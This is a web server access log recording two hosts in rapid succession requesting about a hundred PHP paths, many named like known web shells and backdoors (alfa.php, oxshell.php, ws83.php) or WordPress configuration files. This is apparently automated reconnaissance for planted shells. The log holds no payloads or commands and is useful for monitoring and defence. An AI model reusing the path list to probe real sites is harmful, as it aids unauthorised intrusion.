20.63.209.197 - - [14/Apr/2026:19:37:42 -0700] "GET /aa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12707**
20.63.209.197 - - [14/Apr/2026:19:37:42 -0700] "GET /chosen.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24890**
20.63.209.197 - - [14/Apr/2026:19:37:42 -0700] "GET /2.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13056**
20.63.209.197 - - [14/Apr/2026:19:37:42 -0700] "GET /abc.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16336**
20.63.209.197 - - [14/Apr/2026:19:37:43 -0700] "GET /about.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12194**
20.63.209.197 - - [14/Apr/2026:19:37:43 -0700] "GET /0x.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14943**
20.63.209.197 - - [14/Apr/2026:19:37:43 -0700] "GET /fff.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13989**
20.63.209.197 - - [14/Apr/2026:19:37:43 -0700] "GET /ff1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13845**
20.63.209.197 - - [14/Apr/2026:19:37:43 -0700] "GET /wp-themes.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26206**
20.63.209.197 - - [14/Apr/2026:19:37:43 -0700] "GET /content.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24538**
20.63.209.197 - - [14/Apr/2026:19:37:44 -0700] "GET /r.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14908**
20.63.209.197 - - [14/Apr/2026:19:37:44 -0700] "GET /w.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16931**
20.63.209.197 - - [14/Apr/2026:19:37:44 -0700] "GET /edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 31 **0/31166**
20.63.209.197 - - [14/Apr/2026:19:37:44 -0700] "GET /wp-blog.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13088**
20.63.209.197 - - [14/Apr/2026:19:37:44 -0700] "GET /10.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18496**
20.63.209.197 - - [14/Apr/2026:19:37:44 -0700] "GET /p.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22590**
20.63.209.197 - - [14/Apr/2026:19:37:45 -0700] "GET /hplfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20711**
20.63.209.197 - - [14/Apr/2026:19:37:45 -0700] "GET /bless.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14204**
20.63.209.197 - - [14/Apr/2026:19:37:45 -0700] "GET /php.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15131**
20.63.209.197 - - [14/Apr/2026:19:37:45 -0700] "GET /chosen.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13929**
20.63.209.197 - - [14/Apr/2026:19:37:45 -0700] "GET /ioxi-o.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15136**
20.63.209.197 - - [14/Apr/2026:19:37:45 -0700] "GET /av.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14790**
20.63.209.197 - - [14/Apr/2026:19:37:46 -0700] "GET /doc.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13640**
20.63.209.197 - - [14/Apr/2026:19:37:46 -0700] "GET /elp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22870**
20.63.209.197 - - [14/Apr/2026:19:37:46 -0700] "GET /wp-user.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17486**
20.63.209.197 - - [14/Apr/2026:19:37:46 -0700] "GET /root.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 29 **0/29183**
20.63.209.197 - - [14/Apr/2026:19:37:46 -0700] "GET /alfa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 29 **0/29869**
20.63.209.197 - - [14/Apr/2026:19:37:46 -0700] "GET /autoload_classmap.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14174**
20.63.209.197 - - [14/Apr/2026:19:37:47 -0700] "GET /file.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43 **0/43178**
20.63.209.197 - - [14/Apr/2026:19:37:47 -0700] "GET /new.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45 **0/45515**
20.63.209.197 - - [14/Apr/2026:19:37:47 -0700] "GET /ioxi-o.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27086**
20.63.209.197 - - [14/Apr/2026:19:37:47 -0700] "GET /mm.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13855**
20.63.209.197 - - [14/Apr/2026:19:37:47 -0700] "GET /oxshell.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24124**
20.63.209.197 - - [14/Apr/2026:19:37:48 -0700] "GET /load.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22255**
20.63.209.197 - - [14/Apr/2026:19:37:48 -0700] "GET /k.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16241**
20.63.209.197 - - [14/Apr/2026:19:37:48 -0700] "GET /atomlib.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15368**
20.63.209.197 - - [14/Apr/2026:19:37:48 -0700] "GET /buy.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 33 **0/33005**
20.63.209.197 - - [14/Apr/2026:19:37:48 -0700] "GET /info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13998**
20.63.209.197 - - [14/Apr/2026:19:37:48 -0700] "GET /goods.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16270**
20.63.209.197 - - [14/Apr/2026:19:37:49 -0700] "GET /setup-config.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23875**
20.63.209.197 - - [14/Apr/2026:19:37:49 -0700] "GET /ss.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14394**
20.63.209.197 - - [14/Apr/2026:19:37:49 -0700] "GET /xmlrpc.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 35 **0/35106**
20.63.209.197 - - [14/Apr/2026:19:37:49 -0700] "GET /flower.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17218**
20.63.209.197 - - [14/Apr/2026:19:37:49 -0700] "GET /al.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15995**
20.63.209.197 - - [14/Apr/2026:19:37:49 -0700] "GET /vv.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11634**
20.63.209.197 - - [14/Apr/2026:19:37:50 -0700] "GET /wp-signin.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23791**
20.63.209.197 - - [14/Apr/2026:19:37:50 -0700] "GET /wsa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15207**
66.249.73.199 - - [14/Apr/2026:19:59:09 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 10 **0/10152**
114.119.144.132 - - [14/Apr/2026:20:30:51 -0700] "GET /robots.txt HTTP/1.1" 200 113 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 7 **0/7110**
20.205.1.146 - - [14/Apr/2026:21:01:18 -0700] "GET /admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 25 **0/25483**
20.205.1.146 - - [14/Apr/2026:21:01:19 -0700] "GET /inputs.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20157**
20.205.1.146 - - [14/Apr/2026:21:01:19 -0700] "GET /file.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18445**
20.205.1.146 - - [14/Apr/2026:21:01:19 -0700] "GET /goods.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15111**
20.205.1.146 - - [14/Apr/2026:21:01:19 -0700] "GET /ms-edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20816**
20.205.1.146 - - [14/Apr/2026:21:01:20 -0700] "GET /simple.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16527**
20.205.1.146 - - [14/Apr/2026:21:01:20 -0700] "GET /bgymj.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14393**
20.205.1.146 - - [14/Apr/2026:21:01:20 -0700] "GET /wp-content/plugins/twenty/login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21112**
20.205.1.146 - - [14/Apr/2026:21:01:20 -0700] "GET /404.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12968**
20.205.1.146 - - [14/Apr/2026:21:01:20 -0700] "GET /file3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15420**
20.205.1.146 - - [14/Apr/2026:21:01:21 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 25 **0/25807**
20.205.1.146 - - [14/Apr/2026:21:01:21 -0700] "GET /about.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15564**
20.205.1.146 - - [14/Apr/2026:21:01:21 -0700] "GET /wp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16028**
20.205.1.146 - - [14/Apr/2026:21:01:21 -0700] "GET /.dj/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28809**
20.205.1.146 - - [14/Apr/2026:21:01:21 -0700] "GET /adminfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26347**
20.205.1.146 - - [14/Apr/2026:21:01:22 -0700] "GET /php8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17259**
20.205.1.146 - - [14/Apr/2026:21:01:22 -0700] "GET /classwithtostring.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17408**
20.205.1.146 - - [14/Apr/2026:21:01:22 -0700] "GET /info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17640**
20.205.1.146 - - [14/Apr/2026:21:01:22 -0700] "GET /ioxi-o.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16653**
20.205.1.146 - - [14/Apr/2026:21:01:22 -0700] "GET /011i.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20233**
20.205.1.146 - - [14/Apr/2026:21:01:23 -0700] "GET /edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19233**
20.205.1.146 - - [14/Apr/2026:21:01:23 -0700] "GET /sid3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23118**
20.205.1.146 - - [14/Apr/2026:21:01:23 -0700] "GET /load.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14912**
20.205.1.146 - - [14/Apr/2026:21:01:23 -0700] "GET /166.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18809**
20.205.1.146 - - [14/Apr/2026:21:01:24 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 25 **0/25786**
20.205.1.146 - - [14/Apr/2026:21:01:24 -0700] "GET /leaf.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14829**
20.205.1.146 - - [14/Apr/2026:21:01:24 -0700] "GET /grsiuk.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13841**
20.205.1.146 - - [14/Apr/2026:21:01:24 -0700] "GET /8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15316**
20.205.1.146 - - [14/Apr/2026:21:01:24 -0700] "GET /fs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21845**
20.205.1.146 - - [14/Apr/2026:21:01:25 -0700] "GET /ws38.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14695**
20.205.1.146 - - [14/Apr/2026:21:01:25 -0700] "GET /a7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15719**
20.205.1.146 - - [14/Apr/2026:21:01:25 -0700] "GET /classsmtps.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19312**
20.205.1.146 - - [14/Apr/2026:21:01:25 -0700] "GET /amax.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16141**
20.205.1.146 - - [14/Apr/2026:21:01:25 -0700] "GET /CDX1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13688**
20.205.1.146 - - [14/Apr/2026:21:01:26 -0700] "GET /rip.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18147**
20.205.1.146 - - [14/Apr/2026:21:01:26 -0700] "GET /1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14863**
20.205.1.146 - - [14/Apr/2026:21:01:26 -0700] "GET /chosen.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14317**
20.205.1.146 - - [14/Apr/2026:21:01:26 -0700] "GET /css.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12400**
20.205.1.146 - - [14/Apr/2026:21:01:26 -0700] "GET /php.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20329**
20.205.1.146 - - [14/Apr/2026:21:01:27 -0700] "GET /wp-Blogs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13126**
20.205.1.146 - - [14/Apr/2026:21:01:27 -0700] "GET /wp-content/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18324**
20.205.1.146 - - [14/Apr/2026:21:01:27 -0700] "GET /wp-content/plugins/beteng88/ws83.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28866**
20.205.1.146 - - [14/Apr/2026:21:01:27 -0700] "GET /ws83.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14269**
20.205.1.146 - - [14/Apr/2026:21:01:27 -0700] "GET /file61.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24161**
20.205.1.146 - - [14/Apr/2026:21:01:28 -0700] "GET /sadcut1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14749**
20.205.1.146 - - [14/Apr/2026:21:01:28 -0700] "GET /y.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12231**
20.205.1.146 - - [14/Apr/2026:21:01:28 -0700] "GET /akcc.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11937**
20.205.1.146 - - [14/Apr/2026:21:01:28 -0700] "GET /wp-admin/user/12.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21193**
20.205.1.146 - - [14/Apr/2026:21:01:28 -0700] "GET /index/function.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18282**
20.205.1.146 - - [14/Apr/2026:21:01:29 -0700] "GET /term.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16425**
20.205.1.146 - - [14/Apr/2026:21:01:29 -0700] "GET /666.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20817**
20.205.1.146 - - [14/Apr/2026:21:01:29 -0700] "GET /7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16056**
20.205.1.146 - - [14/Apr/2026:21:01:29 -0700] "GET /wp-config-sample.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21643**
20.205.1.146 - - [14/Apr/2026:21:01:30 -0700] "GET /log.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15793**
20.205.1.146 - - [14/Apr/2026:21:01:30 -0700] "GET /a5.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15302**
20.205.1.146 - - [14/Apr/2026:21:01:30 -0700] "GET /aa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19176**
20.205.1.146 - - [14/Apr/2026:21:01:30 -0700] "GET /bolt.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14941**
20.205.1.146 - - [14/Apr/2026:21:01:31 -0700] "GET /x.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14863**
